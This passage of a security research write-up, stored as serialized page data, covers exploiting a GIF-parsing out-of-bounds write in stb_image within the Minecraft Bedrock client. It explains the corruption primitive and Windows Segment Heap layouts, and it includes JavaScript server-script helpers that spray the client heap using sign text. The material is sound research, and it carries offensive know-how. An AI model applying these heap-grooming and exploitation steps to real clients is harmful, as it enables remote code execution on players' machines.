",{"type":24,"tag":327,"props":156149,"children":156150},{"style":381},[156151],{"type":29,"value":469},{"type":24,"tag":327,"props":156153,"children":156154},{"style":340},[156155],{"type":29,"value":154074},{"type":24,"tag":327,"props":156157,"children":156158},{"style":346},[156159],{"type":29,"value":156160},"(...)\n",{"type":24,"tag":327,"props":156162,"children":156163},{"class":329,"line":367},[156164],{"type":24,"tag":327,"props":156165,"children":156166},{"style":346},[156167],{"type":29,"value":18427},{"type":24,"tag":327,"props":156169,"children":156170},{"class":329,"line":408},[156171],{"type":24,"tag":327,"props":156172,"children":156173},{"style":346},[156174],{"type":29,"value":154636},{"type":24,"tag":327,"props":156176,"children":156177},{"class":329,"line":421},[156178,156182,156186,156190,156194,156198,156202,156206],{"type":24,"tag":327,"props":156179,"children":156180},{"style":425},[156181],{"type":29,"value":59365},{"type":24,"tag":327,"props":156183,"children":156184},{"style":346},[156185],{"type":29,"value":5894},{"type":24,"tag":327,"props":156187,"children":156188},{"style":356},[156189],{"type":29,"value":116025},{"type":24,"tag":327,"props":156191,"children":156192},{"style":346},[156193],{"type":29,"value":1679},{"type":24,"tag":327,"props":156195,"children":156196},{"style":356},[156197],{"type":29,"value":125448},{"type":24,"tag":327,"props":156199,"children":156200},{"style":381},[156201],{"type":29,"value":9887},{"type":24,"tag":327,"props":156203,"children":156204},{"style":397},[156205],{"type":29,"value":6695},{"type":24,"tag":327,"props":156207,"children":156208},{"style":346},[156209],{"type":29,"value":364},{"type":24,"tag":327,"props":156211,"children":156212},{"class":329,"line":450},[156213,156217,156221,156225,156230,156235,156239,156244,156248,156252],{"type":24,"tag":327,"props":156214,"children":156215},{"style":425},[156216],{"type":29,"value":46000},{"type":24,"tag":327,"props":156218,"children":156219},{"style":346},[156220],{"type":29,"value":5894},{"type":24,"tag":327,"props":156222,"children":156223},{"style":381},[156224],{"type":29,"value":1986},{"type":24,"tag":327,"props":156226,"children":156227},{"style":340},[156228],{"type":29,"value":156229},"stbi__gif_header",{"type":24,"tag":327,"props":156231,"children":156232},{"style":346},[156233],{"type":29,"value":156234},"(s, g, comp,",{"type":24,"tag":327,"props":156236,"children":156237},{"style":397},[156238],{"type":29,"value":2988},{"type":24,"tag":327,"props":156240,"children":156241},{"style":346},[156242],{"type":29,"value":156243},"))     ",{"type":24,"tag":327,"props":156245,"children":156246},{"style":425},[156247],{"type":29,"value":55177},{"type":24,"tag":327,"props":156249,"children":156250},{"style":397},[156251],{"type":29,"value":6695},{"type":24,"tag":327,"props":156253,"children":156254},{"style":346},[156255],{"type":29,"value":405},{"type":24,"tag":327,"props":156257,"children":156258},{"class":329,"line":481},[156259,156264,156268,156272,156276,156281,156285,156289,156294,156298,156302,156306,156310,156314,156318,156322,156326,156330,156334],{"type":24,"tag":327,"props":156260,"children":156261},{"style":356},[156262],{"type":29,"value":156263},"      g",{"type":24,"tag":327,"props":156265,"children":156266},{"style":346},[156267],{"type":29,"value":1679},{"type":24,"tag":327,"props":156269,"children":156270},{"style":356},[156271],{"type":29,"value":125448},{"type":24,"tag":327,"props":156273,"children":156274},{"style":381},[156275],{"type":29,"value":4809},{"type":24,"tag":327,"props":156277,"children":156278},{"style":346},[156279],{"type":29,"value":156280}," (stbi_uc ",{"type":24,"tag":327,"props":156282,"children":156283},{"style":381},[156284],{"type":29,"value":469},{"type":24,"tag":327,"props":156286,"children":156287},{"style":346},[156288],{"type":29,"value":1674},{"type":24,"tag":327,"props":156290,"children":156291},{"style":340},[156292],{"type":29,"value":156293},"stbi__malloc",{"type":24,"tag":327,"props":156295,"children":156296},{"style":346},[156297],{"type":29,"value":349},{"type":24,"tag":327,"props":156299,"children":156300},{"style":397},[156301],{"type":29,"value":25038},{"type":24,"tag":327,"props":156303,"children":156304},{"style":381},[156305],{"type":29,"value":17364},{"type":24,"tag":327,"props":156307,"children":156308},{"style":356},[156309],{"type":29,"value":154676},{"type":24,"tag":327,"props":156311,"children":156312},{"style":346},[156313],{"type":29,"value":1679},{"type":24,"tag":327,"props":156315,"children":156316},{"style":356},[156317],{"type":29,"value":56292},{"type":24,"tag":327,"props":156319,"children":156320},{"style":381},[156321],{"type":29,"value":17364},{"type":24,"tag":327,"props":156323,"children":156324},{"style":356},[156325],{"type":29,"value":154676},{"type":24,"tag":327,"props":156327,"children":156328},{"style":346},[156329],{"type":29,"value":1679},{"type":24,"tag":327,"props":156331,"children":156332},{"style":356},[156333],{"type":29,"value":91072},{"type":24,"tag":327,"props":156335,"children":156336},{"style":346},[156337],{"type":29,"value":583},{"type":24,"tag":25,"props":156339,"children":156340},{},[156341,156343,156348,156350,156355],{"type":29,"value":156342},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":284,"props":156344,"children":156346},{"className":156345},[],[156347],{"type":29,"value":154895},{"type":29,"value":156349}," and the value of ",{"type":24,"tag":284,"props":156351,"children":156353},{"className":156352},[],[156354],{"type":29,"value":25},{"type":29,"value":156356}," just before the OOB write happens:",{"type":24,"tag":317,"props":156358,"children":156360},{"code":156359},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[156361],{"type":24,"tag":284,"props":156362,"children":156363},{"__ignoreMap":7},[156364],{"type":29,"value":156359},{"type":24,"tag":25,"props":156366,"children":156367},{},[156368,156370,156375,156377,156382],{"type":29,"value":156369},"There are multiple within-bound writes to ",{"type":24,"tag":284,"props":156371,"children":156373},{"className":156372},[],[156374],{"type":29,"value":25},{"type":29,"value":156376},", but the last write happens just after the ",{"type":24,"tag":284,"props":156378,"children":156380},{"className":156379},[],[156381],{"type":29,"value":154895},{"type":29,"value":156383}," allocation.",{"type":24,"tag":235,"props":156385,"children":156387},{"id":156386},"summarizing-the-corruption",[156388],{"type":29,"value":156389},"Summarizing the Corruption",{"type":24,"tag":1380,"props":156391,"children":156392},{},[156393,156406,156434],{"type":24,"tag":179,"props":156394,"children":156395},{},[156396,156398,156404],{"type":29,"value":156397},"A single ",{"type":24,"tag":284,"props":156399,"children":156401},{"className":156400},[],[156402],{"type":29,"value":156403},"0x01",{"type":29,"value":156405}," byte write OOB",{"type":24,"tag":179,"props":156407,"children":156408},{},[156409,156411],{"type":29,"value":156410},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":1380,"props":156412,"children":156413},{},[156414,156419,156429],{"type":24,"tag":179,"props":156415,"children":156416},{},[156417],{"type":29,"value":156418},"First three bytes are controllable",{"type":24,"tag":179,"props":156420,"children":156421},{},[156422,156424],{"type":29,"value":156423},"Last byte will be ",{"type":24,"tag":284,"props":156425,"children":156427},{"className":156426},[],[156428],{"type":29,"value":120070},{"type":24,"tag":179,"props":156430,"children":156431},{},[156432],{"type":29,"value":156433},"Size of the allocation is controlled",{"type":24,"tag":179,"props":156435,"children":156436},{},[156437,156439],{"type":29,"value":156438},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":1380,"props":156440,"children":156441},{},[156442,156447],{"type":24,"tag":179,"props":156443,"children":156444},{},[156445],{"type":29,"value":156446},"Allocated just before the image-parsing process",{"type":24,"tag":179,"props":156448,"children":156449},{},[156450],{"type":29,"value":156451},"Freed immediately upon parsing completion",{"type":24,"tag":68,"props":156453,"children":156454},{},[],{"type":24,"tag":25,"props":156456,"children":156457},{},[156458,156460,156467,156469,156476],{"type":29,"value":156459},"Note that this bug was already found before (",{"type":24,"tag":57,"props":156461,"children":156464},{"href":156462,"rel":156463},"https://github.com/nothings/stb/issues/656",[61],[156465],{"type":29,"value":156466},"Github Issue",{"type":29,"value":156468},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":57,"props":156470,"children":156473},{"href":156471,"rel":156472},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[61],[156474],{"type":29,"value":156475},"this commit",{"type":29,"value":66},{"type":24,"tag":228,"props":156478,"children":156479},{"id":12987},[156480],{"type":29,"value":12990},{"type":24,"tag":25,"props":156482,"children":156483},{},[156484],{"type":29,"value":156485},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":25,"props":156487,"children":156488},{},[156489],{"type":29,"value":156490},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":235,"props":156492,"children":156494},{"id":156493},"searching-for-better-primitives",[156495],{"type":29,"value":156496},"Searching for Better Primitives",{"type":24,"tag":25,"props":156498,"children":156499},{},[156500],{"type":29,"value":156501},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":25,"props":156503,"children":156504},{},[156505,156507,156514],{"type":29,"value":156506},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":57,"props":156508,"children":156511},{"href":156509,"rel":156510},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[61],[156512],{"type":29,"value":156513},"UWP",{"type":29,"value":156515}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":235,"props":156517,"children":156519},{"id":156518},"segment-heap",[156520],{"type":29,"value":156521},"Segment Heap",{"type":24,"tag":25,"props":156523,"children":156524},{},[156525,156527,156534],{"type":29,"value":156526},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":57,"props":156528,"children":156531},{"href":156529,"rel":156530},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[61],[156532],{"type":29,"value":156533},"this talk",{"type":29,"value":156535}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":168,"props":156537,"children":156539},{"id":156538},"low-fragmentation-heap",[156540],{"type":29,"value":156541},"Low Fragmentation Heap",{"type":24,"tag":25,"props":156543,"children":156544},{},[156545,156547,156553],{"type":29,"value":156546},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":284,"props":156548,"children":156550},{"className":156549},[],[156551],{"type":29,"value":156552},"0x3ff0",{"type":29,"value":156554}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":25,"props":156556,"children":156557},{},[156558],{"type":29,"value":156559},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":317,"props":156561,"children":156563},{"code":156562},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[156564],{"type":24,"tag":284,"props":156565,"children":156566},{"__ignoreMap":7},[156567],{"type":29,"value":156562},{"type":24,"tag":25,"props":156569,"children":156570},{},[156571],{"type":29,"value":156572},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":168,"props":156574,"children":156576},{"id":156575},"variable-size",[156577],{"type":29,"value":156578},"Variable Size",{"type":24,"tag":25,"props":156580,"children":156581},{},[156582,156584,156590,156592,156598],{"type":29,"value":156583},"This subsegment is used for allocation sizes from ",{"type":24,"tag":284,"props":156585,"children":156587},{"className":156586},[],[156588],{"type":29,"value":156589},"0x4000",{"type":29,"value":156591}," and up to ",{"type":24,"tag":284,"props":156593,"children":156595},{"className":156594},[],[156596],{"type":29,"value":156597},"0x20_000",{"type":29,"value":156599},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":317,"props":156601,"children":156603},{"code":156602},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[156604],{"type":24,"tag":284,"props":156605,"children":156606},{"__ignoreMap":7},[156607],{"type":29,"value":156602},{"type":24,"tag":25,"props":156609,"children":156610},{},[156611,156613,156619],{"type":29,"value":156612},"The header, ",{"type":24,"tag":284,"props":156614,"children":156616},{"className":156615},[],[156617],{"type":29,"value":156618},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":156620},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":68,"props":156622,"children":156623},{},[],{"type":24,"tag":25,"props":156625,"children":156626},{},[156627],{"type":29,"value":156628},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":25,"props":156630,"children":156631},{},[156632,156634,156641],{"type":29,"value":156633},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":57,"props":156635,"children":156638},{"href":156636,"rel":156637},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[61],[156639],{"type":29,"value":156640},"technique published",{"type":29,"value":156642}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":25,"props":156644,"children":156645},{},[156646],{"type":29,"value":156647},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":25,"props":156649,"children":156650},{},[156651],{"type":29,"value":156652},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":235,"props":156654,"children":156656},{"id":156655},"finding-a-way-to-spray-the-heap",[156657],{"type":29,"value":156658},"Finding a Way to Spray the Heap",{"type":24,"tag":25,"props":156660,"children":156661},{},[156662],{"type":29,"value":156663},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":1380,"props":156665,"children":156666},{},[156667,156672,156677,156682],{"type":24,"tag":179,"props":156668,"children":156669},{},[156670],{"type":29,"value":156671},"The size of the allocation",{"type":24,"tag":179,"props":156673,"children":156674},{},[156675],{"type":29,"value":156676},"The data written into the allocated buffer",{"type":24,"tag":179,"props":156678,"children":156679},{},[156680],{"type":29,"value":156681},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":179,"props":156683,"children":156684},{},[156685],{"type":29,"value":156686},"The number of created objects (preferably unbounded)",{"type":24,"tag":25,"props":156688,"children":156689},{},[156690],{"type":29,"value":156691},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":168,"props":156693,"children":156695},{"id":156694},"minecraft-signs",[156696],{"type":29,"value":156697},"Minecraft Signs",{"type":24,"tag":25,"props":156699,"children":156700},{},[156701],{"type":29,"value":156702},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":25,"props":156704,"children":156705},{},[156706,156708,156714],{"type":29,"value":156707},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":284,"props":156709,"children":156711},{"className":156710},[],[156712],{"type":29,"value":156713},"std::string",{"type":29,"value":66},{"type":24,"tag":25,"props":156716,"children":156717},{},[156718,156720,156725],{"type":29,"value":156719},"In Microsoft’s C++ implementation, ",{"type":24,"tag":284,"props":156721,"children":156723},{"className":156722},[],[156724],{"type":29,"value":156713},{"type":29,"value":156726}," is structured roughly as follows:",{"type":24,"tag":317,"props":156728,"children":156730},{"code":156729,"language":320,"meta":7,"className":321,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[156731],{"type":24,"tag":284,"props":156732,"children":156733},{"__ignoreMap":7},[156734,156745,156752,156764,156780,156804,156811,156822,156834],{"type":24,"tag":327,"props":156735,"children":156736},{"class":329,"line":330},[156737,156741],{"type":24,"tag":327,"props":156738,"children":156739},{"style":334},[156740],{"type":29,"value":2195},{"type":24,"tag":327,"props":156742,"children":156743},{"style":346},[156744],{"type":29,"value":91771},{"type":24,"tag":327,"props":156746,"children":156747},{"class":329,"line":367},[156748],{"type":24,"tag":327,"props":156749,"children":156750},{"style":346},[156751],{"type":29,"value":18427},{"type":24,"tag":327,"props":156753,"children":156754},{"class":329,"line":408},[156755,156760],{"type":24,"tag":327,"props":156756,"children":156757},{"style":334},[156758],{"type":29,"value":156759},"    union",{"type":24,"tag":327,"props":156761,"children":156762},{"style":346},[156763],{"type":29,"value":497},{"type":24,"tag":327,"props":156765,"children":156766},{"class":329,"line":421},[156767,156772,156776],{"type":24,"tag":327,"props":156768,"children":156769},{"style":334},[156770],{"type":29,"value":156771},"        char",{"type":24,"tag":327,"props":156773,"children":156774},{"style":381},[156775],{"type":29,"value":469},{"type":24,"tag":327,"props":156777,"children":156778},{"style":346},[156779],{"type":29,"value":24071},{"type":24,"tag":327,"props":156781,"children":156782},{"class":329,"line":450},[156783,156787,156792,156796,156800],{"type":24,"tag":327,"props":156784,"children":156785},{"style":334},[156786],{"type":29,"value":156771},{"type":24,"tag":327,"props":156788,"children":156789},{"style":356},[156790],{"type":29,"value":156791}," buf",{"type":24,"tag":327,"props":156793,"children":156794},{"style":346},[156795],{"type":29,"value":11329},{"type":24,"tag":327,"props":156797,"children":156798},{"style":397},[156799],{"type":29,"value":47561},{"type":24,"tag":327,"props":156801,"children":156802},{"style":346},[156803],{"type":29,"value":38284},{"type":24,"tag":327,"props":156805,"children":156806},{"class":329,"line":481},[156807],{"type":24,"tag":327,"props":156808,"children":156809},{"style":346},[156810],{"type":29,"value":45710},{"type":24,"tag":327,"props":156812,"children":156813},{"class":329,"line":500},[156814,156818],{"type":24,"tag":327,"props":156815,"children":156816},{"style":334},[156817],{"type":29,"value":24079},{"type":24,"tag":327,"props":156819,"children":156820},{"style":346},[156821],{"type":29,"value":131329},{"type":24,"tag":327,"props":156823,"children":156824},{"class":329,"line":529},[156825,156829],{"type":24,"tag":327,"props":156826,"children":156827},{"style":334},[156828],{"type":29,"value":24079},{"type":24,"tag":327,"props":156830,"children":156831},{"style":346},[156832],{"type":29,"value":156833}," capacity;\n",{"type":24,"tag":327,"props":156835,"children":156836},{"class":329,"line":538},[156837],{"type":24,"tag":327,"props":156838,"children":156839},{"style":346},[156840],{"type":29,"value":24092},{"type":24,"tag":25,"props":156842,"children":156843},{},[156844,156846,156852,156854,156859],{"type":29,"value":156845},"We are primarily interested in the union: ",{"type":24,"tag":284,"props":156847,"children":156849},{"className":156848},[],[156850],{"type":29,"value":156851},"buf",{"type":29,"value":156853}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":284,"props":156855,"children":156857},{"className":156856},[],[156858],{"type":29,"value":21482},{"type":29,"value":156860}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":25,"props":156862,"children":156863},{},[156864],{"type":29,"value":156865},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":25,"props":156867,"children":156868},{},[156869],{"type":29,"value":156870},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":168,"props":156872,"children":156874},{"id":156873},"spraying-with-server-side-scripting",[156875],{"type":29,"value":156876},"Spraying With Server-Side Scripting",{"type":24,"tag":25,"props":156878,"children":156879},{},[156880],{"type":29,"value":156881},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":25,"props":156883,"children":156884},{},[156885,156887,156893,156894,156900],{"type":29,"value":156886},"We wrote ",{"type":24,"tag":284,"props":156888,"children":156890},{"className":156889},[],[156891],{"type":29,"value":156892},"alloc",{"type":29,"value":1323},{"type":24,"tag":284,"props":156895,"children":156897},{"className":156896},[],[156898],{"type":29,"value":156899},"free",{"type":29,"value":156901}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":317,"props":156903,"children":156905},{"code":156904,"language":42328,"meta":7,"className":42326,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[156906],{"type":24,"tag":284,"props":156907,"children":156908},{"__ignoreMap":7},[156909,156917,156959,156992,157037,157049,157056,157063,157124,157151,157166,157173,157180,157209,157224,157231,157238,157246,157270,157321,157332,157339,157346,157383,157410,157417,157446,157476,157483,157510],{"type":24,"tag":327,"props":156910,"children":156911},{"class":329,"line":330},[156912],{"type":24,"tag":327,"props":156913,"children":156914},{"style":551},[156915],{"type":29,"value":156916},"// Allocate sign text in the client\n",{"type":24,"tag":327,"props":156918,"children":156919},{"class":329,"line":367},[156920,156924,156929,156933,156937,156941,156946,156950,156955],{"type":24,"tag":327,"props":156921,"children":156922},{"style":334},[156923],{"type":29,"value":38087},{"type":24,"tag":327,"props":156925,"children":156926},{"style":340},[156927],{"type":29,"value":156928}," alloc",{"type":24,"tag":327,"props":156930,"children":156931},{"style":346},[156932],{"type":29,"value":349},{"type":24,"tag":327,"props":156934,"children":156935},{"style":356},[156936],{"type":29,"value":130987},{"type":24,"tag":327,"props":156938,"children":156939},{"style":346},[156940],{"type":29,"value":2744},{"type":24,"tag":327,"props":156942,"children":156943},{"style":356},[156944],{"type":29,"value":156945},"fill",{"type":24,"tag":327,"props":156947,"children":156948},{"style":381},[156949],{"type":29,"value":384},{"type":24,"tag":327,"props":156951,"children":156952},{"style":844},[156953],{"type":29,"value":156954},"\"A\"",{"type":24,"tag":327,"props":156956,"children":156957},{"style":346},[156958],{"type":29,"value":364},{"type":24,"tag":327,"props":156960,"children":156961},{"class":329,"line":408},[156962,156966,156970,156974,156979,156983,156988],{"type":24,"tag":327,"props":156963,"children":156964},{"style":425},[156965],{"type":29,"value":10643},{"type":24,"tag":327,"props":156967,"children":156968},{"style":346},[156969],{"type":29,"value":5894},{"type":24,"tag":327,"props":156971,"children":156972},{"style":334},[156973],{"type":29,"value":19334},{"type":24,"tag":327,"props":156975,"children":156976},{"style":356},[156977],{"type":29,"value":156978}," sign",{"type":24,"tag":327,"props":156980,"children":156981},{"style":334},[156982],{"type":29,"value":17910},{"type":24,"tag":327,"props":156984,"children":156985},{"style":356},[156986],{"type":29,"value":156987}," signs",{"type":24,"tag":327,"props":156989,"children":156990},{"style":346},[156991],{"type":29,"value":364},{"type":24,"tag":327,"props":156993,"children":156994},{"class":329,"line":421},[156995,156999,157003,157008,157012,157017,157021,157025,157029,157033],{"type":24,"tag":327,"props":156996,"children":156997},{"style":425},[156998],{"type":29,"value":8861},{"type":24,"tag":327,"props":157000,"children":157001},{"style":346},[157002],{"type":29,"value":5894},{"type":24,"tag":327,"props":157004,"children":157005},{"style":356},[157006],{"type":29,"value":157007},"sign",{"type":24,"tag":327,"props":157009,"children":157010},{"style":346},[157011],{"type":29,"value":66},{"type":24,"tag":327,"props":157013,"children":157014},{"style":356},[157015],{"type":29,"value":157016},"allocated",{"type":24,"tag":327,"props":157018,"children":157019},{"style":381},[157020],{"type":29,"value":5139},{"type":24,"tag":327,"props":157022,"children":157023},{"style":356},[157024],{"type":29,"value":156978},{"type":24,"tag":327,"props":157026,"children":157027},{"style":346},[157028],{"type":29,"value":66},{"type":24,"tag":327,"props":157030,"children":157031},{"style":356},[157032],{"type":29,"value":139692},{"type":24,"tag":327,"props":157034,"children":157035},{"style":346},[157036],{"type":29,"value":364},{"type":24,"tag":327,"props":157038,"children":157039},{"class":329,"line":450},[157040,157045],{"type":24,"tag":327,"props":157041,"children":157042},{"style":425},[157043],{"type":29,"value":157044},"            continue",{"type":24,"tag":327,"props":157046,"children":157047},{"style":346},[157048],{"type":29,"value":405},{"type":24,"tag":327,"props":157050,"children":157051},{"class":329,"line":481},[157052],{"type":24,"tag":327,"props":157053,"children":157054},{"style":346},[157055],{"type":29,"value":8989},{"type":24,"tag":327,"props":157057,"children":157058},{"class":329,"line":500},[157059],{"type":24,"tag":327,"props":157060,"children":157061},{"emptyLinePlaceholder":16},[157062],{"type":29,"value":544},{"type":24,"tag":327,"props":157064,"children":157065},{"class":329,"line":529},[157066,157071,157075,157079,157083,157088,157092,157096,157100,157104,157108,157112,157116,157120],{"type":24,"tag":327,"props":157067,"children":157068},{"style":356},[157069],{"type":29,"value":157070},"        sign",{"type":24,"tag":327,"props":157072,"children":157073},{"style":346},[157074],{"type":29,"value":66},{"type":24,"tag":327,"props":157076,"children":157077},{"style":356},[157078],{"type":29,"value":157007},{"type":24,"tag":327,"props":157080,"children":157081},{"style":346},[157082],{"type":29,"value":66},{"type":24,"tag":327,"props":157084,"children":157085},{"style":340},[157086],{"type":29,"value":157087},"setText",{"type":24,"tag":327,"props":157089,"children":157090},{"style":346},[157091],{"type":29,"value":349},{"type":24,"tag":327,"props":157093,"children":157094},{"style":356},[157095],{"type":29,"value":156945},{"type":24,"tag":327,"props":157097,"children":157098},{"style":346},[157099],{"type":29,"value":66},{"type":24,"tag":327,"props":157101,"children":157102},{"style":340},[157103],{"type":29,"value":139942},{"type":24,"tag":327,"props":157105,"children":157106},{"style":346},[157107],{"type":29,"value":349},{"type":24,"tag":327,"props":157109,"children":157110},{"style":356},[157111],{"type":29,"value":130987},{"type":24,"tag":327,"props":157113,"children":157114},{"style":381},[157115],{"type":29,"value":57976},{"type":24,"tag":327,"props":157117,"children":157118},{"style":397},[157119],{"type":29,"value":522},{"type":24,"tag":327,"props":157121,"children":157122},{"style":346},[157123],{"type":29,"value":14786},{"type":24,"tag":327,"props":157125,"children":157126},{"class":329,"line":538},[157127,157131,157135,157139,157143,157147],{"type":24,"tag":327,"props":157128,"children":157129},{"style":356},[157130],{"type":29,"value":157070},{"type":24,"tag":327,"props":157132,"children":157133},{"style":346},[157134],{"type":29,"value":66},{"type":24,"tag":327,"props":157136,"children":157137},{"style":356},[157138],{"type":29,"value":157016},{"type":24,"tag":327,"props":157140,"children":157141},{"style":381},[157142],{"type":29,"value":4809},{"type":24,"tag":327,"props":157144,"children":157145},{"style":334},[157146],{"type":29,"value":9722},{"type":24,"tag":327,"props":157148,"children":157149},{"style":346},[157150],{"type":29,"value":405},{"type":24,"tag":327,"props":157152,"children":157153},{"class":329,"line":547},[157154,157158,157162],{"type":24,"tag":327,"props":157155,"children":157156},{"style":425},[157157],{"type":29,"value":4944},{"type":24,"tag":327,"props":157159,"children":157160},{"style":356},[157161],{"type":29,"value":156978},{"type":24,"tag":327,"props":157163,"children":157164},{"style":346},[157165],{"type":29,"value":405},{"type":24,"tag":327,"props":157167,"children":157168},{"class":329,"line":557},[157169],{"type":24,"tag":327,"props":157170,"children":157171},{"style":346},[157172],{"type":29,"value":535},{"type":24,"tag":327,"props":157174,"children":157175},{"class":329,"line":586},[157176],{"type":24,"tag":327,"props":157177,"children":157178},{"emptyLinePlaceholder":16},[157179],{"type":29,"value":544},{"type":24,"tag":327,"props":157181,"children":157182},{"class":329,"line":1017},[157183,157187,157191,157196,157200,157205],{"type":24,"tag":327,"props":157184,"children":157185},{"style":356},[157186],{"type":29,"value":38149},{"type":24,"tag":327,"props":157188,"children":157189},{"style":346},[157190],{"type":29,"value":66},{"type":24,"tag":327,"props":157192,"children":157193},{"style":340},[157194],{"type":29,"value":157195},"warn",{"type":24,"tag":327,"props":157197,"children":157198},{"style":346},[157199],{"type":29,"value":349},{"type":24,"tag":327,"props":157201,"children":157202},{"style":844},[157203],{"type":29,"value":157204},"\"No more 